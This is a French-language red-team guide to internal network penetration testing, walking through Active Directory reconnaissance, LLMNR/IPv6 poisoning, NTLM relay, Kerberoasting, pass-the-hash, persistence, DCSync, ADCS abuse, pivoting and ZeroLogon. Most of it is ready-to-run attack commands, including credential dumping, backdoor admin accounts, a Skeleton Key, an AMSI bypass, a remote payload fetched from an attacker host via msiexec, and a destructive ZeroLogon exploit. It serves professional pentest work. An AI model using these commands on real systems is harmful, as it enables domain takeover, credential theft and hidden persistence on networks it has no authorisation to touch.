Guide Red Team Pentest Réseau Interne : Méthodologie 2026

Le pentest réseau interne — aussi appelé test d'intrusion interne — constitue en 2026 l'exercice de sécurité offensive le plus révélateur de la posture réelle d'une organisation face aux menaces internes et aux scénarios post-compromission. Contrairement au pentest externe, qui évalue la surface d'attaque exposée sur Internet, le pentest interne simule un attaquant ayant déjà franchi le premier périmètre : un collaborateur malveillant, un poste compromis par phishing, un accès VPN volé, ou encore une intrusion physique dans les locaux. En 2026, les menaces les plus dévastatrices — ransomwares, espionnage étatique des groupes Volt Typhoon, FIN7, Storm-0558 — naissent presque toutes d'un mouvement latéral interne prolongé, invisible aux outils périmètriques. Ce guide expert couvre l'intégralité de la méthodologie Red Team appliquée aux réseaux internes : reconnaissance passive et active, Active Directory, exploitation des services, pivoting, persistance, évasion EDR, ADCS, et reporting. Il s'adresse aux pentesters confirmés, aux équipes Red Team, et aux professionnels souhaitant comprendre en profondeur les techniques employées par les attaquants les plus sophistiqués. Chaque section combine théorie, commandes opérationnelles, et recommandations défensives, pour une lecture à double valeur — offensive et défensive — indispensable dans le contexte réglementaire français 2026 (DORA, NIS2, doctrine ANSSI).

1. Introduction au pentest réseau interne en 2026

Le paysage de la menace interne a profondément évolué entre 2022 et 2026. Les groupes APT adoptent des stratégies de living-off-the-land — utilisation exclusive d'outils légitimes — rendant leur détection quasiment impossible sans télémétrie comportementale avancée. Le pentest interne s'est adapté : il ne s'agit plus seulement de démontrer qu'un attaquant peut accéder à un partage réseau, mais de reproduire fidèlement les tactiques, techniques et procédures (TTP) des acteurs étatiques et cybercriminels.

Différences pentest externe vs interne

Évolution méthodologique 2024-2026

Trois ruptures majeures caractérisent l'évolution du pentest interne sur cette période. Premièrement, la généralisation des EDR nouvelle génération (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) force les pentesters à maîtriser les techniques d'évasion en mémoire. Deuxièmement, la montée en puissance d'Active Directory Certificate Services (ADCS) comme vecteur d'exploitation, popularisée par les recherches de SpecterOps en 2021 puis massivement exploitée par les APT jusqu'en 2026. Troisièmement, l'hybridation des environnements on-premises / Azure Active Directory crée des chaînes d'attaque inédites traversant les frontières cloud.

Position du pentest interne dans la kill chain

Dans le framework MITRE ATT&CK, le pentest interne couvre essentiellement les phases post-accès initial : Discovery (TA0007), Lateral Movement (TA0008), Credential Access (TA0006), Privilege Escalation (TA0004), Persistence (TA0003), et Exfiltration (TA0010). La phase Initial Access (TA0001) est généralement accordée par le client sous forme d'un poste compromis ou d'un accès VPN avec compte de domaine standard.

2. Cadre méthodologique : PTES, OSSTMM, NIST 800-115

Trois frameworks de référence structurent les missions de pentest interne en 2026. Leur compréhension est indispensable pour cadrer juridiquement et techniquement chaque engagement, communiquer avec le client, et assurer la reproductibilité des résultats.

Phases standardisées PTES appliquées au réseau interne

Le Penetration Testing Execution Standard (PTES) découpe la mission en sept phases : pré-engagement, collecte de renseignements, modélisation des menaces, analyse de vulnérabilités, exploitation, post-exploitation, et rapport. En contexte réseau interne, la phase de modélisation des menaces est cruciale : elle définit les scénarios d'attaque prioritaires selon le profil de l'organisation (secteur financier, industriel, santé) et les groupes APT susceptibles de la cibler.

3. Préparation et cadrage de la mission

La préparation d'un pentest interne est aussi critique que l'exécution technique. Une mauvaise définition du périmètre ou des Rules of Engagement (RoE) peut conduire à des incidents opérationnels graves — crash de serveurs de production, déclenchement d'alertes SOC non prévues, voire poursuites judiciaires.

Périmètre, RoE et contraintes légales

Le document de Rules of Engagement doit spécifier : les plages IP autorisées, les comptes fournis (ou non), les heures de test, les actions interdites (exploitation de zeroday, déni de service, exfiltration réelle de données), les contacts d'urgence côté client, et la procédure de notification en cas de découverte critique. En France, le cadre légal repose sur les articles 323-1 à 323-7 du Code Pénal (accès frauduleux aux STAD) — seule la lettre de mission signée protège le pentester.

Préparation du laptop d'attaque

En 2026, la majorité des pentesters Red Team utilisent une distribution dédiée sur laptop durci. Kali Linux 2025.x reste la référence avec son dépôt de plus de 600 outils maintenus. Parrot OS Security offre une empreinte mémoire plus légère. Les équipes avancées construisent des images custom Debian/Ubuntu avec uniquement les outils nécessaires, réduisant la surface de détection si le laptop est compromis ou saisi. La configuration minimale recommandée en 2026 : 32 Go RAM, SSD NVMe 1 To, WiFi Intel AX210 (compatible injection), chiffrement LUKS2 complet.

# Installation rapide outils essentiels sur Kali 2025
sudo apt update && sudo apt install -y \
  bloodhound neo4j \
  impacket-scripts \
  netexec \
  certipy-ad \
  coercer \
  ligolo-ng \
  mitm6 \
  responder \
  rubeus \
  crackmapexec \
  enum4linux-ng

# Configuration BloodHound
sudo neo4j start
bloodhound &

# Mise à jour Impacket depuis source (toujours plus récent)
pip3 install git+https://github.com/fortra/impacket.git

OPSEC du poste d'attaque

L'Operational Security (OPSEC) du pentester interne est souvent négligée. En 2026, les SOC modernes équipés de Microsoft Defender for Identity (MDI) ou de CrowdStrike Identity Protection détectent les patterns de reconnaissance LDAP, les requêtes Kerberos anormales, et les connexions SMB multiples depuis une même source. Recommandations OPSEC essentielles : utiliser des noms de machines crédibles (LAPTOP-FINANCE-03 plutôt que KALI-ATTACKER), randomiser les user-agents, éviter les scans massifs aux heures de faible activité, et simuler un comportement utilisateur normal entre les actions offensives.

4. Phase 1 — Reconnaissance interne passive

La phase de reconnaissance passive vise à cartographier le réseau sans générer de trafic suspect. En réseau interne, les protocoles de découverte automatique — LLMNR, NBT-NS, mDNS — transmettent en clair des informations précieuses : noms de machines, services actifs, et surtout déclenchent des authentifications NTLM capturables.

Découverte réseau : nmap, masscan, RustScan

# Découverte rapide des hôtes actifs (OPSEC : lent)
nmap -sn 192.168.1.0/24 --max-rate 50 -oG hosts_up.txt

# Scan ports clés Windows/AD (OPSEC équilibré)
nmap -sV -sC -p 22,53,80,88,135,139,389,443,445,464,593,636,3268,3389,5985,9389 \
  --open -iL hosts_up.txt -oA scan_ad_ports

# RustScan pour découverte ultra-rapide (bruyant - attention OPSEC)
rustscan -a 192.168.1.0/24 --ulimit 5000 -- -sV -sC

# masscan pour très grands réseaux (/8 ou /16)
masscan 10.0.0.0/8 -p 445,88,389 --rate=1000 -oG masscan_results.txt

Énumération DNS, broadcast, mDNS

# Transfert de zone DNS (si mal configuré)
dig axfr @192.168.1.10 domain.local

# Enumération DNS passive
dnsrecon -d domain.local -t std
dnsrecon -d domain.local -t brt -D /usr/share/wordlists/dnsmap.txt

# Écoute passive mDNS/LLMNR (avant Responder)
tcpdump -i eth0 -n 'udp port 5355 or udp port 137 or udp port 5353' -w passive_capture.pcap

# Wireshark analysis des protocoles de découverte
tshark -r passive_capture.pcap -Y 'llmnr or nbns or mdns' -T fields \
  -e ip.src -e dns.qry.name

5. Phase 2 — Reconnaissance Active Directory

L'Active Directory est le système nerveux central de 90% des entreprises. Sa compromission équivaut à la compromission totale du système d'information. La phase de reconnaissance AD vise à identifier les chemins d'attaque vers le Domain Admin (DA), les trusts inter-domaines, les délégations Kerberos dangereuses, et les comptes à privilèges mal configurés.

BloodHound et SharpHound : cartographie des chemins d'attaque

BloodHound est l'outil incontournable de reconnaissance AD depuis 2016. Il ingère des données collectées par SharpHound (C#) ou BloodHound.py (Python) et les visualise sous forme de graphe de relations. En 2026, BloodHound CE (Community Edition) offre une interface web moderne et des requêtes Cypher puissantes pour identifier les chemins vers Domain Admin.

# SharpHound depuis un poste Windows compromis
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip --randomfilenames

# Collecte ciblée (moins bruyante)
.\SharpHound.exe -c DCOnly,Group,LocalAdmin --stealth

# BloodHound.py depuis Kali (pas besoin de poste Windows)
bloodhound-python -u 'user' -p 'Password123' -d domain.local \
  -ns 192.168.1.10 -c All --zip

# Requêtes Cypher BloodHound essentielles
# Tous les chemins vers Domain Admin
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p

# Utilisateurs avec droits DCSync
MATCH (u)-[:GetChanges|GetChangesAll]->(d:Domain) RETURN u.name, d.name

# Comptes Kerberoastables avec chemin vers DA
MATCH (u:User {hasspn:true}) RETURN u.name, u.pwdlastset ORDER BY u.pwdlastset

ADRecon et PingCastle

PingCastle génère un rapport de maturité AD avec score de risque — idéal pour communiquer rapidement avec le client sur l'état général. ADRecon produit des rapports Excel détaillés sur les OUs, GPO, délégations, et comptes sensibles. Ces deux outils sont détectés par MDI et certains EDR — leur exécution doit être prévue dans les RoE.

# PingCastle
.\PingCastle.exe --healthcheck --server domain.local --user user --password Password123

# ADRecon
.\ADRecon.ps1 -ADROutputDir C:\Temp\ADRecon -OutputType Excel,CSV

Identification des trusts et OUs sensibles

# Énumération des trusts AD
Get-ADTrust -Filter * | Select Name,TrustType,TrustDirection,SelectiveAuthentication

# OUs avec délégations dangereuses
Get-ADOrganizationalUnit -Filter * | ForEach-Object {
  $acl = Get-ACL "AD:$($_.DistinguishedName)"
  $acl.Access | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}
}

# Comptes avec privilèges délégués (non-DA mais dangereux)
Get-ADGroupMember -Identity "Account Operators" -Recursive
Get-ADGroupMember -Identity "Backup Operators" -Recursive
Get-ADGroupMember -Identity "Server Operators" -Recursive

6. Empoisonnement réseau (LLMNR/NBT-NS/mDNS poisoning)

L'empoisonnement LLMNR/NBT-NS est l'une des attaques les plus efficaces en réseau interne Windows. Lorsqu'un poste cherche à résoudre un nom non trouvé dans le DNS local, il diffuse une requête LLMNR ou NBT-NS en broadcast. Un attaquant répond à cette requête en se faisant passer pour la cible, ce qui déclenche une authentification NTLM automatique — et donc la capture d'un hash NTLMv2 crackable hors-ligne.

Responder : configuration et utilisation avancée

# Lancement Responder en mode analyse (sans poison - OPSEC)
responder -I eth0 -A

# Mode poison complet
responder -I eth0 -rdwv

# Responder avec HTTPS (nécessite un certificat)
responder -I eth0 -rv --lm --disable-ess

# Consultation des hashes capturés
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt

# Cracking hashcat
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

mitm6 : empoisonnement IPv6

mitm6 exploite le fait que Windows préfère IPv6 à IPv4 pour la résolution DNS. L'outil répond aux requêtes DHCPv6 en se déclarant passerelle IPv6 et serveur DNS, redirigeant tout le trafic DNS vers l'attaquant. Couplé à ntlmrelayx, c'est l'une des attaques les plus dévastatrices en réseau Windows non durci.

# Terminal 1 : mitm6
mitm6 -d domain.local -i eth0

# Terminal 2 : ntlmrelayx en attente de relais
ntlmrelayx.py -6 -t ldaps://dc01.domain.local -wh fakewpad.domain.local \
  --delegate-access --add-computer

# Avec ciblage ADCS pour certificate theft
ntlmrelayx.py -6 -t http://ca.domain.local/certsrv/certfnsh.asp \
  --adcs --template "DomainController"

Inveigh : alternative PowerShell

# Inveigh depuis un poste Windows compromis
Import-Module .\Inveigh.ps1
Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -ConsoleOutput Y

# Récupération des captures
Get-InveighLog
Get-InveighNTLMv2

7. NTLM Relay attacks

Le NTLM Relay consiste à intercepter une authentification NTLM et à la relayer vers un service cible sans avoir besoin de cracker le hash. En 2026, c'est l'une des techniques les plus rentables en pentest interne car elle ne nécessite pas de cracker de mot de passe et fonctionne même avec des hashes NTLMv2 forts.

ntlmrelayx : configurations avancées

# Relay vers SMB (requiert SMB signing désactivé)
ntlmrelayx.py -t smb://192.168.1.20 -smb2support --interactive

# Relay vers LDAP pour ajouter un compte admin
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user compromised_user

# Relay vers LDAPS avec shadow credentials
ntlmrelayx.py -t ldaps://dc01.domain.local --shadow-credentials --shadow-target TARGET$

# Relay multi-cibles depuis fichier
ntlmrelayx.py -tf targets.txt -smb2support -socks

# Relay vers MSSQL pour exécution de commandes
ntlmrelayx.py -t mssql://sqlserver.domain.local --query "SELECT @@version"

Coercition : forcer les authentifications

La coercition désigne les techniques qui forcent un serveur Windows à s'authentifier vers une cible contrôlée par l'attaquant. Les vecteurs les plus efficaces en 2026 :

# Coercer.py : test automatisé de tous les vecteurs
coercer scan -u user -p Password123 -d domain.local -t dc01.domain.local -l attacker_ip

# PrinterBug manuel
python3 printerbug.py domain.local/user:Password123@dc01.domain.local attacker_ip

# PetitPotam (version post-patch, authentifié)
python3 PetitPotam.py -u user -p Password123 -d domain.local attacker_ip dc01.domain.local

8. Kerberoasting et AS-REP Roasting

Le Kerberoasting est une technique d'attaque hors-ligne contre les comptes de service Active Directory ayant un Service Principal Name (SPN) enregistré. Tout utilisateur authentifié du domaine peut demander un ticket de service (TGS) chiffré avec le hash NTLM du compte de service — et ce ticket est crackable hors-ligne sans interaction avec la cible. En 2026, malgré sa popularité depuis 2014, cette attaque reste redoutablement efficace car des milliers d'organisations maintiennent des comptes de service avec des mots de passe faibles et des SPNs enregistrés.

Identification et exploitation

# Enumération des comptes Kerberoastables avec Rubeus
.\Rubeus.exe kerberoast /stats
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt /nowrap

# Kerberoasting ciblé (compte spécifique)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Depuis Kali avec GetUserSPNs.py
GetUserSPNs.py domain.local/user:Password123 -dc-ip 192.168.1.10 -request -outputfile spn_hashes.txt

# Kerberoasting RC4 forcé (moins détectable que AES)
.\Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:hashes.txt

# Cracking hashcat avec règles avancées
# Mode 13100 = Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  -r /usr/share/hashcat/rules/d3ad0ne.rule \
  --status --status-timer 30

# Mode 19600 = Kerberos 5 TGS-REP etype 17 (AES128)
hashcat -m 19600 kerberoast_hashes.txt wordlist.txt

# Mode 19700 = Kerberos 5 TGS-REP etype 18 (AES256)
hashcat -m 19700 kerberoast_hashes.txt wordlist.txt

AS-REP Roasting

L'AS-REP Roasting cible les comptes pour lesquels la préauthentification Kerberos est désactivée (attribut DONT_REQUIRE_PREAUTH). Le KDC retourne alors un AS-REP chiffré avec le hash du compte sans vérifier l'identité du demandeur — ce AS-REP est crackable hors-ligne.

# GetNPUsers.py pour AS-REP Roasting
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip 192.168.1.10 \
  -outputfile asrep_hashes.txt

# Avec credentials (accès authentifié)
GetNPUsers.py domain.local/user:Password123 -dc-ip 192.168.1.10 \
  -request -outputfile asrep_hashes.txt

# Cracking AS-REP (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

9. Mouvement latéral classique

Le mouvement latéral désigne l'ensemble des techniques permettant à un attaquant de se propager d'un système à l'autre au sein du réseau cible. En pentest interne, c'est la phase la plus visible et la plus risquée du point de vue détection. Les techniques classiques — Pass-the-Hash, Pass-the-Ticket — restent efficaces en 2026 mais nécessitent une attention particulière à l'OPSEC face aux EDR modernes.

Pass-the-Hash avec NetExec

NetExec (successeur de CrackMapExec, nxc) est l'outil de référence pour le mouvement latéral SMB en 2026. Il supporte l'authentification par hash NTLM, Kerberos, et certificat, et permet d'exécuter des commandes sur de nombreuses machines simultanément.

# Pass-the-Hash SMB basique
nxc smb 192.168.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

# Vérification accès admin local
nxc smb targets.txt -u Administrator -H HASH --local-auth

# Exécution de commande (méthode wmiexec - moins détecté)
nxc smb 192.168.1.20 -u Administrator -H HASH -x "whoami /all"

# Dump SAM (hashes locaux)
nxc smb 192.168.1.20 -u Administrator -H HASH --sam

# Dump LSA secrets
nxc smb 192.168.1.20 -u Administrator -H HASH --lsa

# Énumération des sessions actives
nxc smb 192.168.1.0/24 -u user -p Password123 --sessions

Pass-the-Ticket avec Rubeus

# Dump des tickets Kerberos en mémoire
.\Rubeus.exe dump /nowrap

# Import d'un ticket pour PtT
.\Rubeus.exe ptt /ticket:BASE64_TICKET

# Overpass-the-Hash : de NT hash vers ticket Kerberos
.\Rubeus.exe asktgt /user:Administrator /rc4:NTLM_HASH /ptt

# Avec AES256 (plus discret - KDC encryption)
.\Rubeus.exe asktgt /user:Administrator /aes256:AES256_HASH /opsec /ptt

Mouvement latéral via WMI, WinRM, PowerShell distant

# WMI execution (OPSEC : spawn de wmiprvse.exe)
$wmi = [wmiclass]"\\192.168.1.20\root\cimv2:Win32_Process"
$result = $wmi.Create("powershell.exe -enc BASE64COMMAND")

# WinRM / PowerShell Remoting
$session = New-PSSession -ComputerName server01 -Credential $cred
Invoke-Command -Session $session -ScriptBlock { whoami; hostname }

# Evil-WinRM depuis Kali
evil-winrm -i 192.168.1.20 -u Administrator -H NTLM_HASH

# DCOM exec (moins commun, moins détecté)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.20"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\out.txt","7")

Pour approfondir le Pass-the-Hash, consultez notre guide Pass-the-Hash : techniques et défenses.

10. PSExec, SMBExec, WMIExec et alternatives

Les outils d'exécution distante de la suite Impacket sont incontournables mais ont des empreintes très différentes en termes de détection. Comprendre leurs mécanismes internes permet de choisir la technique adaptée au contexte OPSEC.

# wmiexec.py (recommandé OPSEC)
wmiexec.py domain.local/Administrator:Password123@192.168.1.20
wmiexec.py -hashes :NTLM_HASH domain.local/Administrator@192.168.1.20

# dcomexec.py (faible détection)
dcomexec.py domain.local/Administrator:Password123@192.168.1.20 -object MMC20

# smbexec.py (semi-interactif)
smbexec.py domain.local/Administrator:Password123@192.168.1.20

# Exécution one-shot avec output
wmiexec.py -nooutput domain.local/Administrator:Password123@192.168.1.20 "cmd.exe /c net user hacker P@ssw0rd123 /add && net localgroup administrators hacker /add"

11. Persistance et escalade dans Active Directory

Une fois un accès Domain Admin obtenu, la phase de persistance vise à maintenir cet accès même en cas de rotation des mots de passe ou de réponse à incident. Les techniques de persistance AD sont particulièrement insidieuses car elles exploitent des mécanismes légitimes d'Active Directory.

AdminSDHolder backdoor

L'AdminSDHolder est un conteneur AD dont les ACL sont propagées à intervalles réguliers (60 minutes par défaut) vers tous les comptes protégés (membres de Domain Admins, Enterprise Admins, etc.). En modifiant les ACL d'AdminSDHolder, un attaquant peut persister même si ses droits explicites sont révoqués.

# Ajout d'un backdoor via AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" `
  -PrincipalIdentity backdoor_user -Rights All -Verbose

# Vérification (attendre propagation SDProp ~60min ou forcer)
Invoke-ADSDPropagation

# Avec PowerView
$acl = Get-ObjectAcl -DistinguishedName "CN=AdminSDHolder,CN=System,DC=domain,DC=local" `
  -ResolveGUIDs | ? {$_.IdentityReference -match "backdoor_user"}

Skeleton Key

La Skeleton Key est un patch en mémoire du processus LSASS du Domain Controller qui ajoute un mot de passe maître universel accepté pour tout compte du domaine. Elle ne persiste pas au redémarrage mais est indétectable par les solutions qui ne surveillent pas l'intégrité de LSASS.

# Skeleton Key via Mimikatz (nécessite DA)
# Exécution sur le DC
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc01

# Après déploiement : accès avec le mot de passe universel "mimikatz"
nxc smb dc01.domain.local -u anyuser -p mimikatz

Pour les techniques de Golden Ticket et Silver Ticket, consultez notre guide Golden Ticket : attaque et défense complète.

12. DCSync et exfiltration de hashes

L'attaque DCSync simule le comportement d'un Domain Controller en demandant une réplication des hashes de mots de passe via le protocole MS-DRSR (Directory Replication Service). Elle ne nécessite pas d'exécution de code sur le DC — uniquement les droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All.

# DCSync avec Mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /user:Administrator"'
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"'

# DCSync ciblé sur le compte krbtgt (pour Golden Ticket)
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /user:krbtgt"'

# secretsdump.py depuis Kali (recommandé)
secretsdump.py domain.local/Administrator:Password123@dc01.domain.local
secretsdump.py -hashes :NTLM_HASH domain.local/Administrator@dc01.domain.local

# DCSync uniquement (sans dump local)
secretsdump.py domain.local/Administrator:Password123@dc01.domain.local \
  -just-dc -just-dc-user Administrator

# Extraction NTDS.dit hors-ligne
secretsdump.py -ntds /path/to/ntds.dit -system /path/to/SYSTEM LOCAL

Extraction NTDS.dit hors-ligne

# Volume Shadow Copy pour copier NTDS.dit en live
# Méthode 1 : vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\
reg save HKLM\SYSTEM C:\Temp\SYSTEM.bak

# Méthode 2 : ntdsutil (LOLBin)
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\ifm" q q

Pour les techniques DCSync complètes, consultez notre guide DCSync : attaque et contre-mesures.

13. ADCS exploitation (Certipy, Certify)

Les Active Directory Certificate Services (ADCS) sont devenus en 2023-2026 le vecteur d'escalade de privilèges le plus exploité en environnement Windows. Les recherches de Will Schroeder et Lee Christensen (SpecterOps) publiées en 2021 ont mis en lumière 8 configurations dangereuses (ESC1-ESC8), puis la communauté a identifié ESC9-ESC15 jusqu'en 2025.

Découverte des vulnérabilités ADCS

# Certipy find : audit complet ADCS
certipy find -u user@domain.local -p Password123 -dc-ip 192.168.1.10 -stdout
certipy find -u user@domain.local -p Password123 -dc-ip 192.168.1.10 -vulnerable -stdout

# Certify.exe (version Windows)
.\Certify.exe find /vulnerable /domain:domain.local

Exploitation ESC1

# ESC1 : demande de certificat avec SAN administrateur
certipy req -u user@domain.local -p Password123 \
  -ca 'CA-SERVER\CA-NAME' \
  -template VulnerableTemplate \
  -upn administrator@domain.local \
  -dc-ip 192.168.1.10

# Authentification Kerberos avec le certificat obtenu
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

# Résultat : NT hash de l'administrateur + TGT

14. Living-off-the-Land et bypass EDR

Le concept de Living-off-the-Land (LotL) désigne l'utilisation exclusive des outils légitimes présents sur le système cible pour réaliser des opérations offensives. Cette approche, popularisée par les groupes APT étatiques comme Volt Typhoon, rend la détection basée sur les signatures totalement inefficace. En 2026, les EDR modernes ont amélioré leur détection comportementale — mais des combinaisons LotL sophistiquées restent difficiles à distinguer d'une activité légitime.

Pour le guide complet LOLBAS, consultez LOLBAS/LOLBins : guide complet Living-off-the-Land.

# Reconnaissance LotL via PowerShell natif
# Enumération AD sans outil tiers
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
([adsisearcher]"(objectClass=computer)").FindAll()

# Récupération SPNs sans outil
setspn -T domain.local -Q */*

# Exécution distante via msiexec (LOLBin)
msiexec /q /i http://attacker/payload.msi

# Exécution via wscript (signature non vérifiée)
wscript.exe //E:JScript payload.js

# Bypass AMSI classique 2025
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Pour les techniques d'évasion EDR avancées, consultez EDR Bypass 2026 : techniques et contre-mesures.

15. Pivoting et tunnels

Le pivoting désigne la technique consistant à utiliser un système compromis comme relais pour accéder à des segments réseau inaccessibles directement depuis la machine de l'attaquant. En réseau d'entreprise segmenté, le pivoting est indispensable pour atteindre les zones protégées (VLAN production, réseau OT, DMZ interne).

ligolo-ng : le standard 2025-2026

ligolo-ng est devenu en 2024-2026 l'outil de pivoting de référence pour les Red Teams. Il crée un tunnel TLS transparent, sans besoin de proxychains, en routant directement le trafic via une interface tun. Contrairement à Chisel, il ne nécessite pas de modifier proxychains.conf pour chaque outil.

# Serveur ligolo-ng sur la machine attaquante
./proxy -selfcert -laddr 0.0.0.0:11601

# Agent déployé sur la machine pivot (Windows)
.\agent.exe -connect attacker_ip:11601 -ignore-cert

# Agent sur Linux pivot
./agent -connect attacker_ip:11601 -ignore-cert

# Dans la console ligolo-ng :
session          # Sélectionner la session
start            # Démarrer le tunnel
ifconfig         # Voir les interfaces distantes

# Ajouter une route vers le réseau distant (Linux)
sudo ip route add 192.168.2.0/24 dev ligolo

# Chisel : alternative légère
# Serveur
chisel server --reverse --port 8080

# Client (depuis machine pivot)
chisel client attacker_ip:8080 R:socks

# Configuration proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains nxc smb 192.168.2.0/24 -u user -p Password123

# SSH dynamic forwarding (si SSH disponible sur pivot)
ssh -D 1080 -N -f user@pivot_ip
proxychains nmap -sT -p 445,88,389 192.168.2.0/24

16. Exploitation des partages réseau

Les partages réseau SMB sont une mine d'informations en pentest interne. Scripts PowerShell avec mots de passe en dur, fichiers de configuration, sauvegardes non chiffrées, clés SSH — les partages IT et ADMIN$ regorgent de credentials permettant d'accélérer considérablement la compromission.

# Énumération SMB avec NetExec
nxc smb 192.168.1.0/24 -u user -p Password123 --shares
nxc smb 192.168.1.0/24 -u user -p Password123 --shares --filter-shares READ WRITE

# Spider des partages (recherche de fichiers sensibles)
nxc smb 192.168.1.20 -u user -p Password123 -M spider_plus \
  -o READ_ONLY=false EXCLUDE_FILTER=".jpg,.png,.gif,.bmp"

# smbmap : énumération et accès
smbmap -H 192.168.1.20 -u user -p Password123 -R SYSVOL --depth 5

# Recherche de fichiers sensibles dans les partages
smbclient //192.168.1.20/IT -U 'domain.local\user%Password123' \
  -c "prompt OFF; recurse ON; mget *"

# Recherche de patterns credential dans les fichiers
grep -r "password\|passwd\|credential\|secret\|apikey" /tmp/shares/ \
  --include="*.txt,*.xml,*.ps1,*.bat,*.conf,*.ini" -l

17. Attaques sur services applicatifs internes

MSSQL : xp_cmdshell et chaînes de serveurs liés

Microsoft SQL Server est une cible de choix en pentest interne. Sa fonctionnalité xp_cmdshell permet l'exécution de commandes OS depuis le contexte SQL. Les Linked Servers permettent de rebondir d'un serveur SQL à l'autre, parfois jusqu'à des serveurs avec des droits élevés.

# Découverte MSSQL avec NetExec
nxc mssql 192.168.1.0/24 -u user -p Password123

# Connexion et exécution via mssqlclient.py
mssqlclient.py domain.local/sa:Password123@192.168.1.30 -windows-auth

# Dans mssqlclient.py :
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
SQL> xp_cmdshell "powershell -enc BASE64"

# Énumération linked servers
SQL> SELECT name, product, provider FROM sys.servers WHERE is_linked = 1
SQL> EXEC ('SELECT @@version') AT [linked_server]
SQL> EXEC ('EXEC xp_cmdshell ''whoami''') AT [linked_server]

WSUS exploitation

Un serveur Windows Server Update Services (WSUS) mal configuré permet d'injecter de fausses mises à jour Windows sur les postes clients. PyWSUS automatise cette attaque qui nécessite un accès Man-in-the-Middle sur le trafic WSUS HTTP.

# PyWSUS : injection de mise à jour malveillante
python3 pywsus.py -H 192.168.1.100 -p 8530 \
  -e /path/to/PsExec.exe \
  -c "PsExec.exe -accepteula -s cmd.exe /c net user hacker P@ssw0rd /add"

# La cible doit communiquer en HTTP (non HTTPS) avec ce WSUS
# Nécessite une position MITM ou une redirection DNS

PrintNightmare et exploits Windows récents

18. Attaques sans authentification préalable

Certaines techniques permettent d'obtenir un accès privilégié sans aucune credential de domaine. Bien que la plupart des vulnérabilités historiques soient patchées, leurs variants et les mauvaises configurations persistent dans de nombreux environnements non maintenus.

ZeroLogon (CVE-2020-1472) en 2026

ZeroLogon exploite une faiblesse cryptographique dans le protocole Netlogon permettant à un attaquant non authentifié de réinitialiser le mot de passe machine d'un DC à une valeur nulle. En 2026, les systèmes non patchés sont rares mais existent encore dans des environnements OT/legacy.

# Test ZeroLogon (ne pas exploiter en production sans autorisation explicite)
python3 zerologon_tester.py DC01 192.168.1.10

# Exploitation (DESTRUCTIF - réinitialise le mot de passe DC)
python3 cve-2020-1472-exploit.py DC01 192.168.1.10

# Récupération des hashes après exploitation
secretsdump.py -no-pass -just-dc DOMAIN/DC01\$@192.168.1.10

# RESTAURATION IMPÉRATIVE après test
# Utiliser le hash original récupéré pour restaurer
secretsdump.py DOMAIN/Administrator@192.168.1.10 -hashes :ADMIN_HASH

noPac (CVE-2021-42278 / CVE-2021-42287)

noPac combine deux vulnérabilités permettant à un utilisateur de domaine standard d'obtenir un ticket de service DC$ impersonant n'importe quel utilisateur, y compris Administrator. En 2026, l'exploitation nécessite que les deux CVE ne soient pas patchées simultanément.

# noPac.py exploitation
python3 noPac.py domain.local/user:Password123 -dc-ip 192.168.1.10 -shell
python3 noPac.py domain.local/user:Password123 -dc-ip 192.168.1.10 --impersonate Administrator

19. PetitPotam et coercition forcée

PetitPotam exploite le protocole MS-EFSR (Encrypting File System Remote Protocol) pour forcer un serveur Windows à s'authentifier vers une cible arbitraire. La version non authentifiée (CVE-2021-36942) a été partiellement patchée par Microsoft en août 2021, mais de nombreuses variantes authentifiées restent fonctionnelles en 2026.

# PetitPotam authentifié (post-patch)
python3 PetitPotam.py -u user -p Password123 -d domain.local \
  attacker_ip dc01.domain.local

# Coercer.py : test exhaustif de tous les protocoles de coercition
coercer scan -u user -p Password123 -d domain.local \
  --target-ip 192.168.1.10 --listener-ip attacker_ip

# Méthodes testées par Coercer :
# MS-EFSR (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv, ...)
# MS-DFSNM (NetrDfsAddStdRoot, NetrDfsRemoveStdRoot)
# MS-FSRVP (IsPathShadowCopied)
